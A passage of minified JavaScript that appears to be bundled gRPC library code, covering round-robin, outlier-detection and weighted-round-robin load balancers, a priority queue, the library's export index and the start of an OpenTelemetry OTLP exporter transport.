this.children)if(A.getConnectivityState()===PW.ConnectivityState.IDLE)A.exitIdle()}updateState(A,K,q){if(tn7(PW.ConnectivityState[this.currentState]+" -> "+PW.ConnectivityState[A]),A===PW.ConnectivityState.READY)this.currentReadyPicker=K;else this.currentReadyPicker=null;this.currentState=A,this.channelControlHelper.updateState(A,K,q)}resetSubchannelList(){for(let A of this.children)A.destroy();this.children=[]}updateAddressList(A,K,q,Y){if(!(K instanceof gj1))return!1;if(!A.ok){if(this.children.length===0)this.updateState(PW.ConnectivityState.TRANSIENT_FAILURE,new yFA.UnavailablePicker(A.error),A.error.details);return!0}let z=Math.random()*A.value.length|0,w=fJ2(A.value,z);if(this.resetSubchannelList(),w.length===0){let H=`No addresses resolved. Resolution note: ${Y}`;this.updateState(PW.ConnectivityState.TRANSIENT_FAILURE,new yFA.UnavailablePicker({details:H}),H)}tn7("Connect to endpoint list "+w.map(sn7.endpointToString)),this.updatesPaused=!0,this.children=w.map((H)=>new PJ2.LeafLoadBalancer(H,this.childChannelControlHelper,q,Y));for(let H of this.children)H.startConnecting();return this.updatesPaused=!1,this.calculateAndUpdateState(),!0}exitIdle(){}resetBackoff(){}destroy(){this.resetSubchannelList()}getTypeName(){return mj1}}Kr7.RoundRobinLoadBalancer=iC6;function NJ2(){(0,en7.registerLoadBalancerType)(mj1,iC6,gj1)}});var _r7=v((Xr7)=>{var nC6;Object.defineProperty(Xr7,"__esModule",{value:!0});Xr7.OutlierDetectionLoadBalancer=Xr7.OutlierDetectionLoadBalancingConfig=void 0;Xr7.setup=bJ2;var vJ2=wP(),zr7=K9(),w3A=EFA(),wr7=UC6(),EJ2=wt(),kJ2=bD1(),CJ2=tp(),rC6=mf(),LJ2=TFA(),RJ2=Lw(),yJ2="outlier_detection";function cG(A){RJ2.trace(zr7.LogVerbosity.DEBUG,yJ2,A)}var sC6="outlier_detection",IJ2=((nC6=process.env.GRPC_EXPERIMENTAL_ENABLE_OUTLIER_DETECTION)!==null&&nC6!==void 0?nC6:"true")==="true",SJ2={stdev_factor:1900,enforcement_percentage:100,minimum_hosts:5,request_volume:100},hJ2={threshold:85,enforcement_percentage:100,minimum_hosts:5,request_volume:50};function RjA(A,K,q,Y){if(K in A&&A[K]!==void 0&&typeof A[K]!==q){let z=Y?`${Y}.${K}`:K;throw Error(`outlier detection config ${z} parse error: expected ${q}, got ${typeof A[K]}`)}}function oC6(A,K,q){let Y=q?`${q}.${K}`:K;if(K in A&&A[K]!==void 0){if(!(0,w3A.isDuration)(A[K]))throw Error(`outlier detection config ${Y} parse error: expected Duration, got ${typeof A[K]}`);if(!(A[K].seconds>=0&&A[K].seconds<=315576000000&&A[K].nanos>=0&&A[K].nanos<=999999999))throw Error(`outlier detection config ${Y} parse error: values out of range for non-negative Duaration`)}}function Fj1(A,K,q){let Y=q?`${q}.${K}`:K;if(RjA(A,K,"number",q),K in A&&A[K]!==void 0&&!(A[K]>=0&&A[K]<=100))throw Error(`outlier detection config ${Y} parse error: value out of range for percentage (0-100)`)}class IFA{constructor(A,K,q,Y,z,w,H){if(this.childPolicy=H,H.getLoadBalancerName()==="pick_first")throw Error("outlier_detection LB policy cannot have a pick_first child policy");this.intervalMs=A!==null&&A!==void 0?A:1e4,this.baseEjectionTimeMs=K!==null&&K!==void 0?K:30000,this.maxEjectionTimeMs=q!==null&&q!==void 0?q:300000,this.maxEjectionPercent=Y!==null&&Y!==void 0?Y:10,this.successRateEjection=z?Object.assign(Object.assign({},SJ2),z):null,this.failurePercentageEjection=w?Object.assign(Object.assign({},hJ2),w):null}getLoadBalancerName(){return sC6}toJsonObject(){var A,K;return{outlier_detection:{interval:(0,w3A.msToDuration)(this.intervalMs),base_ejection_time:(0,w3A.msToDuration)(this.baseEjectionTimeMs),max_ejection_time:(0,w3A.msToDuration)(this.maxEjectionTimeMs),max_ejection_percent:this.maxEjectionPercent,success_rate_ejection:(A=this.successRateEjection)!==null&&A!==void 0?A:void 0,failure_percentage_ejection:(K=this.failurePercentageEjection)!==null&&K!==void 0?K:void 0,child_policy:[this.childPolicy.toJsonObject()]}}}getIntervalMs(){return this.intervalMs}getBaseEjectionTimeMs(){return this.baseEjectionTimeMs}getMaxEjectionTimeMs(){return this.maxEjectionTimeMs}getMaxEjectionPercent(){return this.maxEjectionPercent}getSuccessRateEjectionConfig(){return this.successRateEjection}getFailurePercentageEjectionConfig(){return this.failurePercentageEjection}getChildPolicy(){return this.childPolicy}static createFromJson(A){var K;if(oC6(A,"interval"),oC6(A,"base_ejection_time"),oC6(A,"max_ejection_time"),Fj1(A,"max_ejection_percent"),"success_rate_ejection"in A&&A.success_rate_ejection!==void 0){if(typeof A.success_rate_ejection!=="object")throw Error("outlier detection config success_rate_ejection must be an object");RjA(A.success_rate_ejection,"stdev_factor","number","success_rate_ejection"),Fj1(A.success_rate_ejection,"enforcement_percentage","success_rate_ejection"),RjA(A.success_rate_ejection,"minimum_hosts","number","success_rate_ejection"),RjA(A.success_rate_ejection,"request_volume","number","success_rate_ejection")}if("failure_percentage_ejection"in A&&A.failure_percentage_ejection!==void 0){if(typeof A.failure_percentage_ejection!=="object")throw Error("outlier detection config failure_percentage_ejection must be an object");Fj1(A.failure_percentage_ejection,"threshold","failure_percentage_ejection"),Fj1(A.failure_percentage_ejection,"enforcement_percentage","failure_percentage_ejection"),RjA(A.failure_percentage_ejection,"minimum_hosts","number","failure_percentage_ejection"),RjA(A.failure_percentage_ejection,"request_volume","number","failure_percentage_ejection")}if(!("child_policy"in A)||!Array.isArray(A.child_policy))throw Error("outlier detection config child_policy must be an array");let q=(0,EJ2.selectLbConfigFromList)(A.child_policy);if(!q)throw Error("outlier detection config child_policy: no valid recognized policy found");return new IFA(A.interval?(0,w3A.durationToMs)(A.interval):null,A.base_ejection_time?(0,w3A.durationToMs)(A.base_ejection_time):null,A.max_ejection_time?(0,w3A.durationToMs)(A.max_ejection_time):null,(K=A.max_ejection_percent)!==null&&K!==void 0?K:null,A.success_rate_ejection,A.failure_percentage_ejection,q)}}Xr7.OutlierDetectionLoadBalancingConfig=IFA;class Hr7 extends LJ2.BaseSubchannelWrapper{constructor(A,K){super(A);this.mapEntry=K,this.refCount=0}ref(){this.child.ref(),this.refCount+=1}unref(){if(this.child.unref(),this.refCount-=1,this.refCount<=0){if(this.mapEntry){let A=this.mapEntry.subchannelWrappers.indexOf(this);if(A>=0)this.mapEntry.subchannelWrappers.splice(A,1)}}}eject(){this.setHealthy(!1)}uneject(){this.setHealthy(!0)}getMapEntry(){return this.mapEntry}getWrappedSubchannel(){return this.child}}function aC6(){return{success:0,failure:0}}class Jr7{constructor(){this.activeBucket=aC6(),this.inactiveBucket=aC6()}addSuccess(){this.activeBucket.success+=1}addFailure(){this.activeBucket.failure+=1}switchBuckets(){this.inactiveBucket=this.activeBucket,this.activeBucket=aC6()}getLastSuccesses(){return this.inactiveBucket.success}getLastFailures(){return this.inactiveBucket.failure}}class Or7{constructor(A,K){this.wrappedPicker=A,this.countCalls=K}pick(A){let K=this.wrappedPicker.pick(A);if(K.pickResultType===CJ2.PickResultType.COMPLETE){let q=K.subchannel,Y=q.getMapEntry();if(Y){let z=K.onCallEnded;if(this.countCalls)z=(w,H,J)=>{var O;if(w===zr7.Status.OK)Y.counter.addSuccess();else Y.counter.addFailure();(O=K.onCallEnded)===null||O===void 0||O.call(K,w,H,J)};return Object.assign(Object.assign({},K),{subchannel:q.getWrappedSubchannel(),onCallEnded:z})}else return Object.assign(Object.assign({},K),{subchannel:q.getWrappedSubchannel()})}else return K}}class tC6{constructor(A){this.entryMap=new rC6.EndpointMap,this.latestConfig=null,this.timerStartTime=null,this.childBalancer=new kJ2.ChildLoadBalancerHandler((0,wr7.createChildChannelControlHelper)(A,{createSubchannel:(K,q)=>{let Y=A.createSubchannel(K,q),z=this.entryMap.getForSubchannelAddress(K),w=new Hr7(Y,z);if((z===null||z===void 0?void 0:z.currentEjectionTimestamp)!==null)w.eject();return z===null||z===void 0||z.subchannelWrappers.push(w),w},updateState:(K,q,Y)=>{if(K===vJ2.ConnectivityState.READY)A.updateState(K,new Or7(q,this.isCountingEnabled()),Y);else A.updateState(K,q,Y)}})),this.ejectionTimer=setInterval(()=>{},0),clearInterval(this.ejectionTimer)}isCountingEnabled(){return this.latestConfig!==null&&(this.latestConfig.getSuccessRateEjectionConfig()!==null||this.latestConfig.getFailurePercentageEjectionConfig()!==null)}getCurrentEjectionPercent(){let A=0;for(let K of this.entryMap.values())if(K.currentEjectionTimestamp!==null)A+=1;return A*100/this.entryMap.size}runSuccessRateCheck(A){if(!this.latestConfig)return;let K=this.latestConfig.getSuccessRateEjectionConfig();if(!K)return;cG("Running success rate check");let q=K.request_volume,Y=0,z=[];for(let[$,_]of this.entryMap.entries()){let G=_.counter.getLastSuccesses(),Z=_.counter.getLastFailures();if(cG("Stats for "+(0,rC6.endpointToString)($)+": successes="+G+" failures="+Z+" targetRequestVolume="+q),G+Z>=q)Y+=1,z.push(G/(G+Z))}if(cG("Found "+Y+" success rate candidates; currentEjectionPercent="+this.getCurrentEjectionPercent()+" successRates=["+z+"]"),Y<K.minimum_hosts)return;let w=z.reduce(($,_)=>$+_)/z.length,H=0;for(let $ of z){let _=$-w;H+=_*_}let J=H/z.length,O=Math.sqrt(J),X=w-O*(K.stdev_factor/1000);cG("stdev="+O+" ejectionThreshold="+X);for(let[$,_]of this.entryMap.entries()){if(this.getCurrentEjectionPercent()>=this.latestConfig.getMaxEjectionPercent())break;let G=_.counter.getLastSuccesses(),Z=_.counter.getLastFailures();if(G+Z<q)continue;let W=G/(G+Z);if(cG("Checking candidate "+$+" successRate="+W),W<X){let D=Math.random()*100;if(cG("Candidate "+$+" randomNumber="+D+" enforcement_percentage="+K.enforcement_percentage),D<K.enforcement_percentage)cG("Ejecting candidate "+$),this.eject(_,A)}}}runFailurePercentageCheck(A){if(!this.latestConfig)return;let K=this.latestConfig.getFailurePercentageEjectionConfig();if(!K)return;cG("Running failure percentage check. threshold="+K.threshold+" request volume threshold="+K.request_volume);let q=0;for(let Y of this.entryMap.values()){let z=Y.counter.getLastSuccesses(),w=Y.counter.getLastFailures();if(z+w>=K.request_volume)q+=1}if(q<K.minimum_hosts)return;for(let[Y,z]of this.entryMap.entries()){if(this.getCurrentEjectionPercent()>=this.latestConfig.getMaxEjectionPercent())break;let w=z.counter.getLastSuccesses(),H=z.counter.getLastFailures();if(cG("Candidate successes="+w+" failures="+H),w+H<K.request_volume)continue;if(H*100/(H+w)>K.threshold){let O=Math.random()*100;if(cG("Candidate "+Y+" randomNumber="+O+" enforcement_percentage="+K.enforcement_percentage),O<K.enforcement_percentage)cG("Ejecting candidate "+Y),this.eject(z,A)}}}eject(A,K){A.currentEjectionTimestamp=new Date,A.ejectionTimeMultiplier+=1;for(let q of A.subchannelWrappers)q.eject()}uneject(A){A.currentEjectionTimestamp=null;for(let K of A.subchannelWrappers)K.uneject()}switchAllBuckets(){for(let A of this.entryMap.values())A.counter.switchBuckets()}startTimer(A){var K,q;this.ejectionTimer=setTimeout(()=>this.runChecks(),A),(q=(K=this.ejectionTimer).unref)===null||q===void 0||q.call(K)}runChecks(){let A=new Date;if(cG("Ejection timer running"),this.switchAllBuckets(),!this.latestConfig)return;this.timerStartTime=A,this.startTimer(this.latestConfig.getIntervalMs()),this.runSuccessRateCheck(A),this.runFailurePercentageCheck(A);for(let[K,q]of this.entryMap.entries())if(q.currentEjectionTimestamp===null){if(q.ejectionTimeMultiplier>0)q.ejectionTimeMultiplier-=1}else{let Y=this.latestConfig.getBaseEjectionTimeMs(),z=this.latestConfig.getMaxEjectionTimeMs(),w=new Date(q.currentEjectionTimestamp.getTime());if(w.setMilliseconds(w.getMilliseconds()+Math.min(Y*q.ejectionTimeMultiplier,Math.max(Y,z))),w<new Date)cG("Unejecting "+K),this.uneject(q)}}updateAddressList(A,K,q,Y){if(!(K instanceof IFA))return!1;if(cG("Received update with config: "+JSON.stringify(K.toJsonObject(),void 0,2)),A.ok){for(let w of A.value)if(!this.entryMap.has(w))cG("Adding map entry for "+(0,rC6.endpointToString)(w)),this.entryMap.set(w,{counter:new Jr7,currentEjectionTimestamp:null,ejectionTimeMultiplier:0,subchannelWrappers:[]});this.entryMap.deleteMissing(A.value)}let z=K.getChildPolicy();if(this.childBalancer.updateAddressList(A,z,q,Y),K.getSuccessRateEjectionConfig()||K.getFailurePercentageEjectionConfig())if(this.timerStartTime){cG("Previous timer existed. Replacing timer"),clearTimeout(this.ejectionTimer);let w=K.getIntervalMs()-(new Date().getTime()-this.timerStartTime.getTime());this.startTimer(w)}else cG("Starting new timer"),this.timerStartTime=new Date,this.startTimer(K.getIntervalMs()),this.switchAllBuckets();else{cG("Counting disabled. Cancelling timer."),this.timerStartTime=null,clearTimeout(this.ejectionTimer);for(let w of this.entryMap.values())this.uneject(w),w.ejectionTimeMultiplier=0}return this.latestConfig=K,!0}exitIdle(){this.childBalancer.exitIdle()}resetBackoff(){this.childBalancer.resetBackoff()}destroy(){clearTimeout(this.ejectionTimer),this.childBalancer.destroy()}getTypeName(){return sC6}}Xr7.OutlierDetectionLoadBalancer=tC6;function bJ2(){if(IJ2)(0,wr7.registerLoadBalancerType)(sC6,tC6,IFA)}});var Dr7=v((Zr7)=>{Object.defineProperty(Zr7,"__esModule",{value:!0});Zr7.PriorityQueue=void 0;var yjA=0,eC6=(A)=>Math.floor(A/2),Qj1=(A)=>A*2+1,SFA=(A)=>A*2+2;class Gr7{constructor(A=(K,q)=>K>q){this.comparator=A,this.heap=[]}size(){return this.heap.length}isEmpty(){return this.size()==0}peek(){return this.heap[yjA]}push(...A){return A.forEach((K)=>{this.heap.push(K),this.siftUp()}),this.size()}pop(){let A=this.peek(),K=this.size()-1;if(K>yjA)this.swap(yjA,K);return this.heap.pop(),this.siftDown(),A}replace(A){let K=this.peek();return this.heap[yjA]=A,this.siftDown(),K}greater(A,K){return this.comparator(this.heap[A],this.heap[K])}swap(A,K){[this.heap[A],this.heap[K]]=[this.heap[K],this.heap[A]]}siftUp(){let A=this.size()-1;while(A>yjA&&this.greater(A,eC6(A)))this.swap(A,eC6(A)),A=eC6(A)}siftDown(){let A=yjA;while(Qj1(A)<this.size()&&this.greater(Qj1(A),A)||SFA(A)<this.size()&&this.greater(SFA(A),A)){let K=SFA(A)<this.size()&&this.greater(SFA(A),Qj1(A))?SFA(A):Qj1(A);this.swap(A,K),A=K}}}Zr7.PriorityQueue=Gr7});var Er7=v((Tr7)=>{Object.defineProperty(Tr7,"__esModule",{value:!0});Tr7.WeightedRoundRobinLoadBalancingConfig=void 0;Tr7.setup=iJ2;var lG=wP(),BJ2=K9(),$v=EFA(),Pr7=wt(),mJ2=LFA(),gJ2=Lw(),Vr7=yj1(),IjA=tp(),FJ2=Dr7(),jr7=mf(),QJ2="weighted_round_robin";function AL6(A){gJ2.trace(BJ2.LogVerbosity.DEBUG,QJ2,A)}var KL6="weighted_round_robin",UJ2=1e4,pJ2=1e4,dJ2=180000,cJ2=1000,lJ2=1;function Mr7(A,K,q){if(K in A&&A[K]!==void 0&&typeof A[K]!==q)throw Error(`weighted round robin config ${K} parse error: expected ${q}, got ${typeof A[K]}`)}function Uj1(A,K){if(K in A&&A[K]!==void 0&&A[K]!==null){let q;if((0,$v.isDuration)(A[K]))q=A[K];else if((0,$v.isDurationMessage)(A[K]))q=(0,$v.durationMessageToDuration)(A[K]);else if(typeof A[K]==="string"){let Y=(0,$v.parseDuration)(A[K]);if(!Y)throw Error(`weighted round robin config ${K}: failed to parse duration string ${A[K]}`);q=Y}else throw Error(`weighted round robin config ${K}: expected duration, got ${typeof A[K]}`);return(0,$v.durationToMs)(q)}return null}class hFA{constructor(A,K,q,Y,z,w){this.enableOobLoadReport=A!==null&&A!==void 0?A:!1,this.oobLoadReportingPeriodMs=K!==null&&K!==void 0?K:UJ2,this.blackoutPeriodMs=q!==null&&q!==void 0?q:pJ2,this.weightExpirationPeriodMs=Y!==null&&Y!==void 0?Y:dJ2,this.weightUpdatePeriodMs=Math.max(z!==null&&z!==void 0?z:cJ2,100),this.errorUtilizationPenalty=w!==null&&w!==void 0?w:lJ2}getLoadBalancerName(){return KL6}toJsonObject(){return{enable_oob_load_report:this.enableOobLoadReport,oob_load_reporting_period:(0,$v.durationToString)((0,$v.msToDuration)(this.oobLoadReportingPeriodMs)),blackout_period:(0,$v.durationToString)((0,$v.msToDuration)(this.blackoutPeriodMs)),weight_expiration_period:(0,$v.durationToString)((0,$v.msToDuration)(this.weightExpirationPeriodMs)),weight_update_period:(0,$v.durationToString)((0,$v.msToDuration)(this.weightUpdatePeriodMs)),error_utilization_penalty:this.errorUtilizationPenalty}}static createFromJson(A){if(Mr7(A,"enable_oob_load_report","boolean"),Mr7(A,"error_utilization_penalty","number"),A.error_utilization_penalty<0)throw Error("weighted round robin config error_utilization_penalty < 0");return new hFA(A.enable_oob_load_report,Uj1(A,"oob_load_reporting_period"),Uj1(A,"blackout_period"),Uj1(A,"weight_expiration_period"),Uj1(A,"weight_update_period"),A.error_utilization_penalty)}getEnableOobLoadReport(){return this.enableOobLoadReport}getOobLoadReportingPeriodMs(){return this.oobLoadReportingPeriodMs}getBlackoutPeriodMs(){return this.blackoutPeriodMs}getWeightExpirationPeriodMs(){return this.weightExpirationPeriodMs}getWeightUpdatePeriodMs(){return this.weightUpdatePeriodMs}getErrorUtilizationPenalty(){return this.errorUtilizationPenalty}}Tr7.WeightedRoundRobinLoadBalancingConfig=hFA;class fr7{constructor(A,K){this.metricsHandler=K,this.queue=new FJ2.PriorityQueue((z,w)=>z.deadline<w.deadline);let q=A.filter((z)=>z.weight>0),Y;if(q.length<2)Y=1;else{let z=0;for(let{weight:w}of q)z+=w;Y=z/q.length}for(let z of A){let w=z.weight>0?1/z.weight:Y;this.queue.push({endpointName:z.endpointName,picker:z.picker,period:w,deadline:Math.random()*w})}}pick(A){let K=this.queue.pop();this.queue.push(Object.assign(Object.assign({},K),{deadline:K.deadline+K.period}));let q=K.picker.pick(A);if(q.pickResultType===IjA.PickResultType.COMPLETE)if(this.metricsHandler)return Object.assign(Object.assign({},q),{onCallEnded:(0,Vr7.createMetricsReader)((Y)=>this.metricsHandler(Y,K.endpointName),q.onCallEnded)});else{let Y=q.subchannel;return Object.assign(Object.assign({},q),{subchannel:Y.getWrappedSubchannel()})}else return q}}class Nr7{constructor(A){this.channelControlHelper=A,this.latestConfig=null,this.children=new Map,this.currentState=lG.ConnectivityState.IDLE,this.updatesPaused=!1,this.lastError=null,this.weightUpdateTimer=null}countChildrenWithState(A){let K=0;for(let q of this.children.values())if(q.child.getConnectivityState()===A)K+=1;return K}updateWeight(A,K){var q,Y;let{rps_fractional:z,application_utilization:w}=K;if(w>0&&z>0)w+=K.eps/z*((Y=(q=this.latestConfig)===null||q===void 0?void 0:q.getErrorUtilizationPenalty())!==null&&Y!==void 0?Y:0);let H=w===0?0:z/w;if(H===0)return;let J=new Date;if(A.nonEmptySince===null)A.nonEmptySince=J;A.lastUpdated=J,A.weight=H}getWeight(A){if(!this.latestConfig)return 0;let K=new Date().getTime();if(K-A.lastUpdated.getTime()>=this.latestConfig.getWeightExpirationPeriodMs())return A.nonEmptySince=null,0;let q=this.latestConfig.getBlackoutPeriodMs();if(q>0&&(A.nonEmptySince===null||K-A.nonEmptySince.getTime()<q))return 0;return A.weight}calculateAndUpdateState(){if(this.updatesPaused||!this.latestConfig)return;if(this.countChildrenWithState(lG.ConnectivityState.READY)>0){let A=[];for(let[q,Y]of this.children){if(Y.child.getConnectivityState()!==lG.ConnectivityState.READY)continue;A.push({endpointName:q,picker:Y.child.getPicker(),weight:this.getWeight(Y)})}AL6("Created picker with weights: "+A.map((q)=>q.endpointName+":"+q.weight).join(","));let K;if(!this.latestConfig.getEnableOobLoadReport())K=(q,Y)=>{let z=this.children.get(Y);if(z)this.updateWeight(z,q)};else K=null;this.updateState(lG.ConnectivityState.READY,new fr7(A,K),null)}else if(this.countChildrenWithState(lG.ConnectivityState.CONNECTING)>0)this.updateState(lG.ConnectivityState.CONNECTING,new IjA.QueuePicker(this),null);else if(this.countChildrenWithState(lG.ConnectivityState.TRANSIENT_FAILURE)>0){let A=`weighted_round_robin: No connection established. Last error: ${this.lastError}`;this.updateState(lG.ConnectivityState.TRANSIENT_FAILURE,new IjA.UnavailablePicker({details:A}),A)}else this.updateState(lG.ConnectivityState.IDLE,new IjA.QueuePicker(this),null);for(let{child:A}of this.children.values())if(A.getConnectivityState()===lG.ConnectivityState.IDLE)A.exitIdle()}updateState(A,K,q){AL6(lG.ConnectivityState[this.currentState]+" -> "+lG.ConnectivityState[A]),this.currentState=A,this.channelControlHelper.updateState(A,K,q)}updateAddressList(A,K,q,Y){var z,w;if(!(K instanceof hFA))return!1;if(!A.ok){if(this.children.size===0)this.updateState(lG.ConnectivityState.TRANSIENT_FAILURE,new IjA.UnavailablePicker(A.error),A.error.details);return!0}if(A.value.length===0){let O=`No addresses resolved. Resolution note: ${Y}`;return this.updateState(lG.ConnectivityState.TRANSIENT_FAILURE,new IjA.UnavailablePicker({details:O}),O),!1}AL6("Connect to endpoint list "+A.value.map(jr7.endpointToString));let H=new Date,J=new Set;this.updatesPaused=!0,this.latestConfig=K;for(let O of A.value){let X=(0,jr7.endpointToString)(O);J.add(X);let $=this.children.get(X);if(!$)$={child:new mJ2.LeafLoadBalancer(O,(0,Pr7.createChildChannelControlHelper)(this.channelControlHelper,{updateState:(_,G,Z)=>{if(this.currentState===lG.ConnectivityState.READY&&_!==lG.ConnectivityState.READY)this.channelControlHelper.requestReresolution();if(_===lG.ConnectivityState.READY)$.nonEmptySince=null;if(Z)this.lastError=Z;this.calculateAndUpdateState()},createSubchannel:(_,G)=>{let Z=this.channelControlHelper.createSubchannel(_,G);if($===null||$===void 0?void 0:$.oobMetricsListener)return new Vr7.OrcaOobMetricsSubchannelWrapper(Z,$.oobMetricsListener,this.latestConfig.getOobLoadReportingPeriodMs());else return Z}}),q,Y),lastUpdated:H,nonEmptySince:null,weight:0,oobMetricsListener:null},this.children.set(X,$);if(K.getEnableOobLoadReport())$.oobMetricsListener=(_)=>{this.updateWeight($,_)};else $.oobMetricsListener=null}for(let[O,X]of this.children)if(J.has(O))X.child.startConnecting();else X.child.destroy(),this.children.delete(O);if(this.updatesPaused=!1,this.calculateAndUpdateState(),this.weightUpdateTimer)clearInterval(this.weightUpdateTimer);return this.weightUpdateTimer=(w=(z=setInterval(()=>{if(this.currentState===lG.ConnectivityState.READY)this.calculateAndUpdateState()},K.getWeightUpdatePeriodMs())).unref)===null||w===void 0?void 0:w.call(z),!0}exitIdle(){}resetBackoff(){}destroy(){for(let A of this.children.values())A.child.destroy();if(this.children.clear(),this.weightUpdateTimer)clearInterval(this.weightUpdateTimer)}getTypeName(){return KL6}}function iJ2(){(0,Pr7.registerLoadBalancerType)(KL6,Nr7,hFA)}});var bFA=v((vz)=>{Object.defineProperty(vz,"__esModule",{value:!0});vz.experimental=vz.ServerMetricRecorder=vz.ServerInterceptingCall=vz.ResponderBuilder=vz.ServerListenerBuilder=vz.addAdminServicesToServer=vz.getChannelzHandlers=vz.getChannelzServiceDefinition=vz.InterceptorConfigurationError=vz.InterceptingCall=vz.RequesterBuilder=vz.ListenerBuilder=vz.StatusBuilder=vz.getClientChannel=vz.ServerCredentials=vz.Server=vz.setLogVerbosity=vz.setLogger=vz.load=vz.loadObject=vz.CallCredentials=vz.ChannelCredentials=vz.waitForClientReady=vz.closeClient=vz.Channel=vz.makeGenericClientConstructor=vz.makeClientConstructor=vz.loadPackageDefinition=vz.Client=vz.compressionAlgorithms=vz.propagate=vz.connectivityState=vz.status=vz.logVerbosity=vz.Metadata=vz.credentials=void 0;var pj1=kD1();Object.defineProperty(vz,"CallCredentials",{enumerable:!0,get:function(){return pj1.CallCredentials}});var rJ2=Ak6();Object.defineProperty(vz,"Channel",{enumerable:!0,get:function(){return rJ2.ChannelImplementation}});var oJ2=tk6();Object.defineProperty(vz,"compressionAlgorithms",{enumerable:!0,get:function(){return oJ2.CompressionAlgorithms}});var aJ2=wP();Object.defineProperty(vz,"connectivityState",{enumerable:!0,get:function(){return aJ2.ConnectivityState}});var dj1=qjA();Object.defineProperty(vz,"ChannelCredentials",{enumerable:!0,get:function(){return dj1.ChannelCredentials}});var kr7=eE6();Object.defineProperty(vz,"Client",{enumerable:!0,get:function(){return kr7.Client}});var qL6=K9();Object.defineProperty(vz,"logVerbosity",{enumerable:!0,get:function(){return qL6.LogVerbosity}});Object.defineProperty(vz,"status",{enumerable:!0,get:function(){return qL6.Status}});Object.defineProperty(vz,"propagate",{enumerable:!0,get:function(){return qL6.Propagate}});var Cr7=Lw(),YL6=mD1();Object.defineProperty(vz,"loadPackageDefinition",{enumerable:!0,get:function(){return YL6.loadPackageDefinition}});Object.defineProperty(vz,"makeClientConstructor",{enumerable:!0,get:function(){return YL6.makeClientConstructor}});Object.defineProperty(vz,"makeGenericClientConstructor",{enumerable:!0,get:function(){return YL6.makeClientConstructor}});var sJ2=UG();Object.defineProperty(vz,"Metadata",{enumerable:!0,get:function(){return sJ2.Metadata}});var tJ2=Pn7();Object.defineProperty(vz,"Server",{enumerable:!0,get:function(){return tJ2.Server}});var eJ2=Lj1();Object.defineProperty(vz,"ServerCredentials",{enumerable:!0,get:function(){return eJ2.ServerCredentials}});var AO2=Tn7();Object.defineProperty(vz,"StatusBuilder",{enumerable:!0,get:function(){return AO2.StatusBuilder}});vz.credentials={combineChannelCredentials:(A,...K)=>{return K.reduce((q,Y)=>q.compose(Y),A)},combineCallCredentials:(A,...K)=>{return K.reduce((q,Y)=>q.compose(Y),A)},createInsecure:dj1.ChannelCredentials.createInsecure,createSsl:dj1.ChannelCredentials.createSsl,createFromSecureContext:dj1.ChannelCredentials.createFromSecureContext,createFromMetadataGenerator:pj1.CallCredentials.createFromMetadataGenerator,createFromGoogleCredential:pj1.CallCredentials.createFromGoogleCredential,createEmpty:pj1.CallCredentials.createEmpty};var KO2=(A)=>A.close();vz.closeClient=KO2;var qO2=(A,K,q)=>A.waitForReady(K,q);vz.waitForClientReady=qO2;var YO2=(A,K)=>{throw Error("Not available in this library. Use @grpc/proto-loader and loadPackageDefinition instead")};vz.loadObject=YO2;var zO2=(A,K,q)=>{throw Error("Not available in this library. Use @grpc/proto-loader and loadPackageDefinition instead")};vz.load=zO2;var wO2=(A)=>{Cr7.setLogger(A)};vz.setLogger=wO2;var HO2=(A)=>{Cr7.setLoggerVerbosity(A)};vz.setLogVerbosity=HO2;var JO2=(A)=>{return kr7.Client.prototype.getChannel.call(A)};vz.getClientChannel=JO2;var cj1=sE6();Object.defineProperty(vz,"ListenerBuilder",{enumerable:!0,get:function(){return cj1.ListenerBuilder}});Object.defineProperty(vz,"RequesterBuilder",{enumerable:!0,get:function(){return cj1.RequesterBuilder}});Object.defineProperty(vz,"InterceptingCall",{enumerable:!0,get:function(){return cj1.InterceptingCall}});Object.defineProperty(vz,"InterceptorConfigurationError",{enumerable:!0,get:function(){return cj1.InterceptorConfigurationError}});var Lr7=Gt();Object.defineProperty(vz,"getChannelzServiceDefinition",{enumerable:!0,get:function(){return Lr7.getChannelzServiceDefinition}});Object.defineProperty(vz,"getChannelzHandlers",{enumerable:!0,get:function(){return Lr7.getChannelzHandlers}});var OO2=uD1();Object.defineProperty(vz,"addAdminServicesToServer",{enumerable:!0,get:function(){return OO2.addAdminServicesToServer}});var zL6=bC6();Object.defineProperty(vz,"ServerListenerBuilder",{enumerable:!0,get:function(){return zL6.ServerListenerBuilder}});Object.defineProperty(vz,"ResponderBuilder",{enumerable:!0,get:function(){return zL6.ResponderBuilder}});Object.defineProperty(vz,"ServerInterceptingCall",{enumerable:!0,get:function(){return zL6.ServerInterceptingCall}});var XO2=yj1();Object.defineProperty(vz,"ServerMetricRecorder",{enumerable:!0,get:function(){return XO2.ServerMetricRecorder}});var $O2=UC6();vz.experimental=$O2;var _O2=XC6(),GO2=dn7(),ZO2=an7(),WO2=LFA(),DO2=Yr7(),jO2=_r7(),MO2=Er7(),PO2=Gt();(()=>{_O2.setup(),GO2.setup(),ZO2.setup(),WO2.setup(),DO2.setup(),jO2.setup(),MO2.setup(),PO2.setup()})()});var Sr7=v((yr7)=>{Object.defineProperty(yr7,"__esModule",{value:!0});yr7.createServiceClientConstructor=void 0;var LO2=bFA();function RO2(A,K){let q={export:{path:A,requestStream:!1,responseStream:!1,requestSerialize:(Y)=>{return Y},requestDeserialize:(Y)=>{return Y},responseSerialize:(Y)=>{return Y},responseDeserialize:(Y)=>{return Y}}};return LO2.makeGenericClientConstructor(q,K)}yr7.createServiceClientConstructor=RO2});var xFA=v((br7)=>{Object.defineProperty(br7,"__esModule",{value:!0});br7.createOtlpGrpcExporterTransport=br7.GrpcExporterTransport=br7.createEmptyMetadata=br7.createSslCredentials=br7.createInsecureCredentials=void 0;var yO2=aQ7(),hr7=`OTel-OTLP-Exporter-JavaScript/${yO2.VERSION}`;function IO2(A){if(A)return`${A} ${hr7}`;return hr7}var SO2=0,hO2=2;function bO2(A){return A==="gzip"?hO2:SO2}function xO2(){let{credentials:A}=bFA();return A.createInsecure()}br7.createInsecureCredentials=xO2;function uO2(A,K,q){let{credentials:Y}=bFA();return Y.createSsl(A,K,q)}br7.createSslCredentials=uO2;function BO2(){let{Metadata:A}=bFA();return new A}br7.createEmptyMetadata=BO2;class wL6{_parameters;_client;_metadata;constructor(A){this._parameters=A}shutdown(){this._client?.close()}send(A,K){let q=Buffer.from(A);if(this._client==null){let{createServiceClientConstructor:Y}=Sr7();try{this._metadata=this._parameters.metadata()}catch(w){return Promise.resolve({status:"failure",error:w})}let z=Y(this._parameters.grpcPath,this._parameters.grpcName);try{this._client=new 